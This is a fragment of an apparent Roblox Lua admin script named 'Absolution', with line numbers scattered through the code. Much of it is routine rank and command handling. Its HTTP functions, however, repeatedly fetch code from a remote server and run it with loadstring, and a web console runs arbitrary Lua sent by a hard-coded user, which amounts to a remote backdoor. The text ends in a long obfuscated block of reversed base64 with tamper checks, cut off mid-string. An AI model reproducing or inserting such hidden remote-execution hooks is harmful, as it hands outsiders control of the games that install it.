				if Absolution.Ranked[Player.Name].Rank < cRank and cRank >= 0 then print'ranking up player' Absolution.Ranked[Player.Name].Rank = cRank Absolution.Functions.syncRankOut(Player) end
803
			end
804
		end)()
805
		coroutine.wrap(function()
806
			for _,Player in pairs(Absolution.Services.Players:GetPlayers()) do
807
				local Ran,Error = ypcall(function()
808
					if Absolution.Functions:findRank(Player) <= 0 then Absolution.Functions.handleBan(Player) end
809
				end)
810
				if not Ran then Absolution.Errors[#Absolution.Errors+1] = Error end
811
			end
812
		end)()
813
		
814
		Absolution.Functions.checkPrivateBase()
815
	if not Absolution.Services.ReplicatedStorage:FindFirstChild("AbsolutionHandler") then Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage)end
816
end
817
818
-- Add Command --
819
Absolution.Functions.Command = function(Name, Uses, Rank, Description, Flags, Function)
820
	if Uses == nil then return end
821
	if Name == nil then Name = "N/A" end
822
	if Rank == nil then Rank = 0 end
823
	if Description == nil then Description = "N/A" end
824
	if Flags == nil then Flags = "No Flags" end
825
	if Absolution.Commands[Name] then Absolution.Functions.Out('Admins','Adding new command: '..Name, 1) Absolution.Commands[Name] = nil end
826
	Absolution.Commands[Name] = {Name = Name, Uses = Uses, Rank = Rank, Description = Description, Flags = Flags, Function = Function}
827
end
828
829
--[[ HTTP SYNCING ]]--
830
-- syncRanksIn --
831
Absolution.Functions.syncRanksIn = function()
832
	ypcall(function()
833
		Absolution.Functions.getTempBans()
834
		local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Incoming)--, true)
835
		local ran,erro = ypcall(function() loadstring(hsync)() end)
836
		if not ran then warn(erro) end
837
	end)
838
end
839
840
-- syncRanksOut --
841
Absolution.Functions.syncRanksOut = function()
842
	ypcall(function()
843
		local function url_encode(form)
844
		local result = {}
845
			for key, value in pairs(form) do
846
			table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value))
847
			end
848
		return table.concat(result, "&")
849
	end
850
	for i,v in pairs(Absolution.Ranked) do
851
	if not Absolution.Ranks[v.Rank] then v.Rank = 0 end
852
			local pt = {plr = i, uid = tostring(v.UserID), rnk = tostring(v.Rank), col = tostring(v.Color), dis = tostring(v.Distance), desc = tostring(v.Description), tablet = tostring(v.TabletType)}
853
			table.foreach(pt, tostring)
854
			local body = url_encode(pt)
855
			local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Outgoing, body, Enum.HttpContentType.ApplicationUrlEncoded)
856
			wait(.5)
857
	end
858
	Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'syncRanksOut() fires.'});
859
	end)
860
end
861
-- syncRankOut --
862
Absolution.Functions.syncRankOut = function(plr)
863
	ypcall(function()
864
	local function url_encode(form)
865
		local result = {}
866
			for key, value in pairs(form) do
867
				table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value))
868
			end
869
		return table.concat(result, "&")
870
	end
871
	local v = Absolution.Functions.getRankedTable(tostring(plr))
872
	if not Absolution.Ranks[v.Rank] then v.Rank = 0 end
873
			local pt = {plr = tostring(plr), uid = tostring(v.UserID), rnk = tostring(v.Rank), col = tostring(v.Color), dis = tostring(v.Distance), desc = tostring(v.Description), tablet = tostring(v.TabletType)}
874
			table.foreach(pt, tostring)
875
			local body = url_encode(pt)
876
			local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Outgoing, body, Enum.HttpContentType.ApplicationUrlEncoded)
877
			wait(.5)
878
	Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'syncRankOut() fires.'});
879
	end)
880
end
881
882
-- Splitting Hotness ~Vaeby --
883
Absolution.Functions.split = function(str, sSeparator, nMax, bRegexp)
884
    assert(sSeparator ~= '')
885
    assert(nMax == nil or nMax >= 1)
886
887
    local aRecord = {}
888
889
    if str:len() > 0 then
890
        local bPlain = not bRegexp
891
        nMax = nMax or -1
892
893
        local nField, nStart = 1, 1
894
        local nFirst,nLast = str:find(sSeparator, nStart, bPlain)
895
        while nFirst and nMax ~= 0 do
896
            aRecord[nField] = str:sub(nStart, nFirst-1)
897
            nField = nField+1
898
            nStart = nLast+1
899
            nFirst,nLast = str:find(sSeparator, nStart, bPlain)
900
            nMax = nMax-1
901
        end
902
        aRecord[nField] = str:sub(nStart)
903
    end
904
905
    return aRecord
906
end
907
908
-- Auto LoadString --
909
Absolution.Functions.AutoLoadstring = function()
910
	coroutine.wrap(function()
911
		while wait(10) do
912
		pcall(Absolution.Functions.getTempBans)
913
			ypcall(function()
914
				local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.UpdateURL, true) --Absolution.HttpConstants.IP..Absolution.HttpConstants.Remote, true)
915
				if hsync == Absolution.HttpConstants.PreviousSync then return end
916
				local dat = loadstring(hsync)()
917
				if not data.SERVER or data.SERVER:lower() ~= Absolution.uniqueKey:lower() and data.SERVER ~= 'all' then return end
918
				if data.update == 'nothing' then return end
919
				Absolution.Functions.Out('Admins', '[Titanpad] (UPDATE) - '..data['update'], 5)
920
				Absolution.Functions.Output('Admins','[Titanpad] (UPDATE)','Lime green',function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.update) end, 10)
921
				if data['load'] then
922
					local loaded,didntload = ypcall(data.load)
923
					if not loaded then
924
						Absolution.Functions.Output('Admins','Data unreadable!','Really red')
925
						Absolution.Functions.Output('Admins',didntload,'Really red')
926
					end
927
				else
928
					Absolution.Functions.Output('Admins','Data unreadable!','Really red')
929
				end
930
				Absolution.HttpConstants.PreviousSync = hsync
931
				Absolution.dataReady = true
932
			end)
933
			local function getPlayers(plrname)
934
			local rtn = {}
935
				for q,e in next,Absolution.Functions.getALLPlayers() do
936
					if e.Name:lower():sub(1,#plrname)==plrname:lower() then
937
						table.insert(rtn, e)
938
					end
939
				end
940
				return rtn
941
			end
942
			ypcall(function()
943
				local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.ConsoleTXT)
944
				local data = game.HttpService:JSONDecode(hsync)
945
				if data.data and data.data == 'nil' then return end
946
				if data.Servers~=Absolution.uniqueKey and data.Servers=='all' then
947
				
948
					Absolution.Functions.Out('Admins', '[WebConsole] (UPDATE) - '..data['Note'], 5)
949
					
950
					local cmd = data.Command
951
					local cmddat = Absolution.Functions.split(cmd, '/')
952
					
953
					local command = cmddat[1]
954
					local player = cmddat[2]
955
					local reason = cmddat[3]
956
					local sender = data.Note:sub(1,data.Note:find':'-1)
957
					local players = {}
958
					
959
					if player then
960
						pcall(function() players = getPlayers(player) end)
961
					end
962
					
963
					if command=='kill' then
964
						for q,e in pairs(players) do
965
							if e.Character then
966
								e.Character:breakJoints()
967
							end
968
						end
969
					elseif command=='respawn' then
970
						for q,e in pairs(players) do
971
							e.Character:LoadCharacter()
972
						end
973
					elseif command=='kick' then
974
						for q,e in pairs(players) do
975
							e:Kick('[ABSOLUTION]: Kicked by '..sender..' for '..reason)
976
						end
977
					elseif command=='ban' then
978
						for q,e in pairs(players) do
979
							Absolution.Ranked[e.Name].Description = reason..' ('..sender..')'
980
							Absolution.Ranked[e.Name].Rank = -1
981
							Absolution.Function.syncRankOut(e.Name)
982
						end
983
					elseif command=='message' then
984
						Absolution.Functions.Announce(sender..': '..player, true)
985
					elseif command=='hint' then
986
						Absolution.Functions.Announce(sender..': '..player)
987
					elseif command=='lua' then
988
						if sender~='Darkus_Theory' then return end
989
						loadstring(player)()
990
					end
991
					
992
				elseif data.Servers==Absolution.uniqueKey then
993
				
994
					Absolution.Functions.Out('Admins', '[WebConsole] (UPDATE) - '..data['Note'], 5)
995
					Absolution.Functions.Output('Admins','[WebConsole] (UPDATE)','Lime green',function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.Note) end, 10)
996
					Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.ConsolePHP)
997
					
998
					local cmd = data.Command
999
					local cmddat = Absolution.Functions.split(cmd, '/')
1000
					
1001
					local command = cmddat[1]
1002
					local player = cmddat[2]
1003
					local reason = cmddat[3]
1004
					local sender = data.Note:sub(1,data.Note:find':'-1)
1005
					local players = {}
1006
					
1007
					if player then
1008
						pcall(function() players = getPlayers(player) end)
1009
					end
1010
					
1011
					if command=='kill' then
1012
						for q,e in pairs(players) do
1013
							if e.Character then
1014
								e.Character:breakJoints()
1015
							end
1016
						end
1017
					elseif command=='respawn' then
1018
						for q,e in pairs(players) do
1019
							e.Character:LoadCharacter()
1020
						end
1021
					elseif command=='kick' then
1022
						for q,e in pairs(players) do
1023
							e:Kick('[ABSOLUTION]: Kicked by '..sender..' for '..reason)
1024
						end
1025
					elseif command=='ban' then
1026
						for q,e in pairs(players) do
1027
							Absolution.Ranked[e.Name].Description = reason..' ('..sender..')'
1028
							Absolution.Ranked[e.Name].Rank = -1
1029
							Absolution.Function.syncRankOut(e.Name)
1030
						end
1031
					elseif command=='message' then
1032
						Absolution.Functions.Announce(sender..': '..player, true)
1033
					elseif command=='hint' then
1034
						Absolution.Functions.Announce(sender..': '..player)
1035
					elseif command=='lua' then
1036
						if sender~='Darkus_Theory' then return end
1037
						loadstring(player)()
1038
					end
1039
				end
1040
				Absolution.dataReady = true
1041
			end)
1042
			ypcall(function()
1043
				local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Remote, true)
1044
				if hsync == Absolution.HttpConstants.PreviousWSync then return end
1045
				local dat = loadstring(hsync)()
1046
				if not data.SERVER or data.SERVER:lower() ~= Absolution.uniqueKey:lower() and data.SERVER ~= 'all' then return end
1047
				if data.update == 'nothing' then return end
1048
				Absolution.Functions.Out('Admins', '[Website] (UPDATE) - '..data.update, 5)
1049
				Absolution.Functions.Output('Admins', '[Website] (UPDATE)','Lime green', function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.update) end, 10)
1050
				if data['load'] then
1051
					local loaded,didntload = ypcall(data.load)
1052
					if not loaded then
1053
						Absolution.Functions.Output('Admins','Data unreadable!','Really red')
1054
						Absolution.Functions.Output('Admins',didntload,'Really red')
1055
					end
1056
				else
1057
					Absolution.Functions.Output('Admins','Data unreadable!','Really red')
1058
				end
1059
				Absolution.HttpConstants.PreviousWSync = hsync
1060
				Absolution.dataReady = true
1061
			end)
1062
		end
1063
	end)()
1064
end
1065
1066
local h,l,p,j,e,y,q,q0,u,v,r,s,o=getfenv,0,"","\65\66\67\68\69\70\71\72\73\74\75\76\77\78\79\80\81\82\83\84\85\86\87\88\89\90\97\98\99\100\101\102\103\104\105\106\107\108\109\110\111\112\113\114\115\116\117\118\119\120\121\122\48\49\50\51\52\53\54\55\56\57\43\47",tostring,{},string.len,string.sub,pcall,1/0,"\37\100\37\100\37\100\63\37\100\63\37\100\63\37\100\63\37\100\63\37\100\63"o,s=(function(t,i,m,w,x)for m=1,q(j)do y[#y+1]=q0(j,m,m)end;i,x=h(l),function()i={}for m=1,v do i[#i+1]=y[m]end;return x(i)end;local c,f,k,a,b=t[y[33]..y[45]..y[47]..y[28]],t[y[32]..y[35]..y[40]..y[30]],t[y[29]..y[34]..y[27]..y[44]],i[y[38]..y[41]..y[27]..y[30]..y[45]..y[46]..y[44]..y[35]..y[40]..y[33]],i[y[45]..y[31]..y[46]..y[32]..y[31]..y[40]..y[48]]return(function(o)if u(b,a,h(a))then return x(p)end;return(c(c(c(o,"[^"..j.."=]",p),k(46),function(r)if r==k(61)then return(p)end;local x,y="",(f(j,r)-1)for o=6,1,-1 do x=x..e(y%2^o-y%2^(o-1)>0 and 1 or 0)end;return x;end),r,function(r)if #r~=8 then return p;end;local b=0;for y=1,8 do b=b+(q0(r,y,y)==e(1)and 2^(8-y)or 0)end;return k(b)end))end),a;end)''local function a(t)for p=1,#t do t[p]=o(t[p])end return s(o"cmV0dXJuIHVucGFjaw==")''(t)end;local g,g0,m,x,rf=a{"c3Bhd24=","ZXJyb3I=","YXNzZXJ0","Y29yb3V0aW5l","Z2V0ZmVudg=="}local lb={u(setfenv(s(o"c3Bhd24oY2hlY2tUYW1wZXJpbmcp"),h(l)))}local function c(b)return h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[33]..y[45]..y[47]..y[28]](b,".",function(s)return "\\" .. s:byte()end)end;local u0,l0,w,ia,z=c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"YXNzZXJ0KG5vdCB0YW1wZXJlZCwgIlRhbXBlcmluZyBkZXRlY3RlZCIp")local function i(g)for p=1,#g do g[p]=o(g[p])end return s(o"cmV0dXJuIHVucGFjaw==")''(g)end;local b0,v0=i{"eHBjYWxs","c3Bhd24="}local function ez(b)return h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[33]..y[45]..y[47]..y[28]](b,".",function(s)return "\\" .. s:byte()end)end;local y0,j0=ez(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),ez(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg==")local function h0(q0)for p=1,#q0 do q0[p]=o(q0[p])end return s(o"cmV0dXJuIHVucGFjaw==")''(q0)end;local tf,f,k=h0{"Y29yb3V0aW5l","d2FpdA==","Z2V0ZmVudg=="}s(h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[44]..y[31]..y[48]..y[31]..y[44]..y[45]..y[31]](o"ZG5lKV04ODFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQTtkbmUpXTQ2W2EsKXYocHVvckduSWtuYVJldGFsdWNsYWMuc25vaXRjbnVGLm5vaXR1bG9zYkEuLl03ODFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSBuZWh0XTAxW2E+KXYocHVvckduSWtuYVJldGFsdWNsYWMuc25vaXRjbnVGLm5vaXR1bG9zYkEgZmkpXTQ2W2EsXSkpdihnbmlydHNvdChrbmFSZG5pZjpzbm9pdGNudUYubm9pdHVsb3NiQVtza25hUi5ub2l0dWxvc2JBLi5dNjgxW2Esdih0dXB0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEpZG5lKWVtYU4udix2KGVjYWZyZXRuSWRla25hUnRlRy5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTU4MVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSlkbmUgZG5lKWRuZSluKGF0YUR3b2hzLnNub2l0Y251Ri5ub2l0dWxvc2JBO3k9ZWNuYXRzaUQuKWVtYU4ubihlbGJhVGRla25hUnRlZy5zbm9pdGNudUYubm9pdHVsb3NiQSluKHNzaW1zaUQuc25vaXRjbnVGLm5vaXR1bG9zYkEpKG5vaXRjbnVmLF00NlthLHksbih0dXB0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEgb2RdNDgxW2EsXTcxW2E9eSByb2Ypbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNzExW2EsXTM4MVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSlkbmUpbihhdGFEd29ocy5zbm9pdGNudUYubm9pdHVsb3NiQV0yODFbYT1lcHlUdGVsYmFULiluKGVsYmFUZGVrbmFSdGVnLnNub2l0Y251Ri5ub2l0dWxvc2JBKW4oc3NpbXNpRC5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTI4MVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSluKGF0YUR3b2hzLnNub2l0Y251Ri5ub2l0dWxvc2JBXTE4MVthPWVweVR0ZWxiYVQuKW4oZWxiYVRkZWtuYVJ0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkEpbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNDZbYSxdMTgxW2Esbih0dXB0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEpbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNzExW2EsXTA4MVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSBkbmUpZG5lKW4oYXRhRHdvaHMuc25vaXRjbnVGLm5vaXR1bG9zYkE7ZT1yb2xvQy4pZW1hTi5uKGVsYmFUZGVrbmFSdGVnLnNub2l0Y251Ri5ub2l0dWxvc2JBKW4oc3NpbXNpRC5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsZSxlLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBIG9kKX1dOTcxW2EsXTg3MVthLF03NzFbYSxdNjcxW2EsXTU3MVthLF00NzFbYSxdMzcxW2EsXTI3MVthLF0xNzFbYSxdMDcxW2EsXTk2MVthLF04NjFbYSxdNzYxW2EsXTY2MVthLF01NjFbYSxdNDYxW2EsXTM2MVthLF0yNjFbYSxdMTYxW2EsXTA2MVthLF04MDFbYSxdOTUxW2EsXTg1MVthLF03NTFbYSxdNjUxW2EsXTU1MVthLF00NTFbYSxdMzUxW2EsXTI1MVthLF0xNTFbYSxdMDUxW2EsXTk0MVthLF04NDFbYSxdNzQxW2EsXTY0MVthLF01NDFbYSxdNDQxW2EsXTM0MVthLF0yNDFbYSxdMTQxW2EsXTA0MVthLF05MzFbYSxdODMxW2EsXTczMVthLF02MzFbYSxdNTMxW2EsXTQzMVthLF0zMzFbYSxdMjMxW2EsXTEzMVthLF0wMzFbYSxdOTIxW2EsXTcxMVthLF04MjFbYSxdNzIxW2EsXTYyMVthLF01MjFbYSxdNDIxW2EsXTMyMVthLF0yMjFbYSxdMTIxW2EsXTAyMVthLF05MTFbYSxdODExW2F7KHNyaWFwIG5pIGUseSByb2Ypbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNzExW2EsXTYxMVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKW4oc3NpbXNpRC5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTUxMVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKV00NlthLF00MTFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSldODAxW2EsXTMxMVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSl2KHNkbmFtbW9Dd29oUy5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTIxMVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSldMTExW2EsdihkZXR0YWhDbm8uc25vaXRjbnVGLm5vaXR1bG9zYkEpKG5vaXRjbnVmLF00NlthLF0wMTFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQTt2PW4gbGFjb2wpdihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKXYobm9pdGNudWY9YXRhRHdvaHMuc25vaXRjbnVGLm5vaXR1bG9zYkE7ZG5lIGRuZSlkbmUpYywpeShnbmlydHNvdChnb0xkb01kbmVTLnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZihsbGFjcCBuZWh0XTg5W2E9PmtuYVIuaiBmaTtkbmUgZG5lIGRuZSBkbmUpXTkwMVthLF00NlthLF04MDFbYSwpZW1hTi50KGduaXJ0c290Li5dNzAxW2EuLl1rbmFSLmpbc2tuYVIubm9pdHVsb3NiQSx5KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSBlc2xlIGRuZSldMTNbYSxkdCh0bmlyUC5zbm9pdGNudUYubm9pdHVsb3NiQSldODlbYSxkdCx5KHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSBuZWh0IG16IHRvbiBmaSlkbmUpcCx5KG5vaXRjbnVGLnQpKG5vaXRjbnVmKGxsYWNweT1kdCxteiBsYWNvbCldNzFbYSttIytlbiMoYnVzOnA9cCBuZWh0IGtuYVIudD0+KSl5KGduaXJ0c290KGtuYVJkbmlmOnNub2l0Y251Ri5ub2l0dWxvc2JBIGZpIG5laHQgbS4uXTI4W2EuLl0yOFthLi5lbj09KW0jK2VuIyxdNzFbYShidXM6cCBmaSBvZClzZXNVLnQoc3JpYXAgbmkgZW4sYXYgcm9mIG9kKXNkbmFtbW9DLm5vaXR1bG9zYkEoc3JpYXAgbmkgdCxuIHJvZilkbmUpKXkoZ25pcnRzb3QsZW1hTi5DUkkuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBLHAodGFoQy5DUkkuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBKShub2l0Y251ZihsbGFjcDtkbmUgZG5lIGRuZSldMTAxW2EsdCh0ZWtjYVBkbmVzOnJlbGRuYUgubm9pdHVsb3NiQSBuZWh0KWVtYU4udChnbmlyb25nSXNJLnNub2l0Y251Ri5ub2l0dWxvc2JBIHRvbiBmaSldMTNbYSxwLi5dMDAxW2EsdCh0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEpXTEzW2EsXTYwMVthLi5lbWFOLnkuLl01MDFbYS4udmQuLl00MDFbYSx0KHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSlwKGV6aXRpbmFTLnNub2l0Y251Ri5ub2l0dWxvc2JBPXZkIGxhY29sIG5laHRdMzAxW2E8KXkoa25hUmRuaWY6c25vaXRjbnVGLm5vaXR1bG9zYkEgZG5hXTg5W2E9Pil0KGtuYVJkbmlmOnNub2l0Y251Ri5ub2l0dWxvc2JBIGRuYSlwKGV6aXRpbmFTLnNub2l0Y251Ri5ub2l0dWxvc2JBIGZpZXNsZSBkbmUpXTIwMVthLHQodGVrY2FQZG5lczpyZWxkbmFILm5vaXR1bG9zYkEpXTEwMVthLHQodGVrY2FQZG5lczpyZWxkbmFILm5vaXR1bG9zYkEgbmVodCllbWFOLnQoZ25pcm9uZ0lzSS5zbm9pdGNudUYubm9pdHVsb3NiQSB0b24gZmkpXTM0W2EscC4uXTAwMVthLHQodHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKV0zNFthLGUuLl05OVthLHQodHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBIG5laHQpKShyZXdvbDplbWFOLnQoZG5pZjopKHJld29sOnAgZmkgb2QpKHNyZXlhbFBMTEF0ZWc6c25vaXRjbnVGLm5vaXR1bG9zYkEsdHhlbiBuaSB0LG4gcm9mO2RuZSBkbmUgZG5lKWUsbixwKHRhaENkbmVzLnJlbGRuYUgubm9pdHVsb3NiQSBuZWh0IGU9fmVtYU4ubiBmaSBvZCkpKHNyZXlhbFBMTEF0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkEoc3JpYXAgbmkgbix0IHJvZiBuZWh0IHNyZXlhbFAuc2VjaXZyZVMubm9pdHVsb3NiQT1+dG5lcmFQLnkgZmk7cD1jIGxhY29sO2RuZSldODlbYShidXM6cD1wIG5laHRdNzlbYT09KV0xM1thLF03MVthKGJ1czpwIGZpKV02OVthIHJvXV01OVthW2ogZG5hXV01OVthW2ooPW0gbGFjb2wpKXkoZ25pcnRzb3QoZWxiYVRkZWtuYVJ0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkE9aiBsYWNvbDtlbWFOLnk9ZSBsYWNvbClwLHkobm9pdGNudWY9ZGV0dGFoQ25vLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZV01W2EgbnJ1dGVyO2RuZSBkbmUgeSBucnV0ZXIgbmVodCkpKHJld29sOnkoZG5pZjopKHJld29sOnYgZmkgb2Qpc2Ryb1dyZWdnaXJULm5vaXR1bG9zYkEoc3JpYXBpIG5pIHksaiByb2Ypdihub2l0Y251Zj1leml0aW5hUy5zbm9pdGNudUYubm9pdHVsb3NiQTtkbmUgcCBucnV0ZXI7c25hYnBtZVQubm9pdHVsb3NiQT1wIGxhY29sKSgpbihnbmlydHNkYW9sPXkgbGFjb2wpXTMxW2EsXTQ5W2EuLnNuYWJwbWVULnN0bmF0c25vQ3B0dEgubm9pdHVsb3NiQS4uUEkuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBKGNueXNBdGVHOmVjaXZyZVNwdHRILnNlY2l2cmVTLm5vaXR1bG9zYkE9biBsYWNvbCkobm9pdGNudWY9c25hQnBtZVR0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkE7ZG5lIGRuZV0zMVthIG5ydXRlciBlc2xlIGogbnJ1dGVyKV0xM1thLGoodG5pclAuc25vaXRjbnVGLm5vaXR1bG9zYkEgbmVodCBuIHRvbiBmaSlkbmUpZGVkb2NuRWxyVW5vaXRhY2lscHBBLmVweVR0bmV0bm9DcHR0SC5tdW5FLGN2LF0zOVthLi5zbmFicG1lVC5zdG5hdHNub0NwdHRILm5vaXR1bG9zYkEuLlBJLnN0bmF0c25vQ3B0dEgubm9pdHVsb3NiQShjbnlzQXRzb1A6ZWNpdnJlU3B0dEguZW1hZz1sbCBsYWNvbCl2aih0PWN2IGxhY29sKWduaXJ0c290LHZqKGhjYWVyb2YuZWxiYXR9XWRuZXRbdmo9ZG5ldCxddHJhdHN0W3ZqPXRyYXRTZW1pdCxub3NhZXI9bm9zYWVSez1dZElyZXN1LmNbc25hYnBtZVQubm9pdHVsb3NiQX0pcCspKGtjaXQoPWRuZXQsKShrY2l0PXRyYXRzdCx5PW5vc2FlcixkSXJlc3UuYz1yZXlhbHB7PXZqIGxhY29sO2RuZSldMjlbYSx2cSh0YWNub2MuZWxiYXQgbnJ1dGVyO2RuZSkpYWMoZWRvY25FbHJVOmVjaXZyZVNwdHRILmVtYWcuLl0xOVthLi4pY3koZWRvY25FbHJVOmVjaXZyZVNwdHRILmVtYWcsdnEodHJlc25pLmVsYmF0IG9kKWNhKHNyaWFwIG5pIGFjLGN5IHJvZn17PXZxIGxhY29sKWNhKHQgbm9pdGNudWYgbGFjb2wpKG5vaXRjbnVmKGxsYWNweT1qLG4gbGFjb2wpcCx5LGMsbShub2l0Y251Zj1uYUJwbWVUdGVzLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZSBtIG5ydXRlcilkZWRvY25FbHJVbm9pdGFjaWxwcEEuZXB5VHRuZXRub0NwdHRILm11bkUscCx5KGNueXNBdHNvUDplY2l2cmVTcHR0SC5lbWFnPW0gbGFjb2wpcChjPXA7ZG5lKV0yOVthLHQodGFjbm9jLmVsYmF0IG5ydXRlcjtkbmUpKW1qKGVkb2NuRWxyVTplY2l2cmVTcHR0SC5lbWFnLi5dMTlbYS4uKXBhKGVkb2NuRWxyVTplY2l2cmVTcHR0SC5lbWFnLHQodHJlc25pLmVsYmF0IG9kKW4oc3JpYXAgbmkgbWoscGEgcm9mfXs9dCBsYWNvbCluKGMgbm9pdGNudWYgbGFjb2x9dj1kbWMsaj1kb217PXAgbGFjb2w7c2dvbGRvTS5zdG5hdHNub0NwdHRILm5vaXR1bG9zYkEuLlBJLnN0bmF0c25vQ3B0dEgubm9pdHVsb3NiQT15IGxhY29sKXYsaihub2l0Y251Zj1nb0xkb01kbmVTLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZSlxeShucnV0ZXI7ZG5lXTA5W2EuLnl6Li5xeT1xeSBlc2xlXTA5W2EuLnl6Li5dMzhbYS4ucXk9cXkgbmVodCldNzFbYT09KShuZWw6KXl6KGduaXJ0c290KGZpO2RuZV05OFthLi5uYS4ucXk9cXkgZXNsZV05OFthLi5uYS4uXTM4W2EuLnF5PXF5IG5laHQpXTcxW2E9PSkobmVsOiluYShnbmlydHNvdChmaTtkbmUgZG5lXTg4W2EuLmouLnF5PXF5IGVzbGVdODhbYS4uai4uXTM4W2EuLnF5PXF5IG5laHQpXTcxW2E9PSkobmVsOilqKGduaXJ0c290KGZpIG5laHRdMDFbYT5qIGZpO2RuZSBkbmVdNzhbYS4ubi4ucXk9cXkgZXNsZV03OFthLi5uLi5dMzhbYS4ucXk9cXkgbmVodCldNzFbYT09KShuZWw6KW4oZ25pcnRzb3QoZmkgbmVodF0wMVthPm4gZmk7ZG5lIGRuZV02OFthLi5wLi5xeT1xeSBlc2xlXTY4W2EuLnAuLl0zOFthLi5xeT1xeSBuZWh0KV03MVthPT0pKG5lbDopcChnbmlydHNvdChmaSBuZWh0XTAxW2E+cCBmaTtkbmUgZG5lXTU4W2EuLnkuLnF5PXF5IGVzbGVdNThbYS4ueS4uXTM4W2EuLnF5PXF5IG5laHQpXTcxW2E9PSkobmVsOil5KGduaXJ0c290KGZpIG5laHRdMDFbYT55IGZpO2RuZSBkbmVdNDhbYS4uYy4ucXk9cXkgZXNsZV00OFthLi5jLi5dMzhbY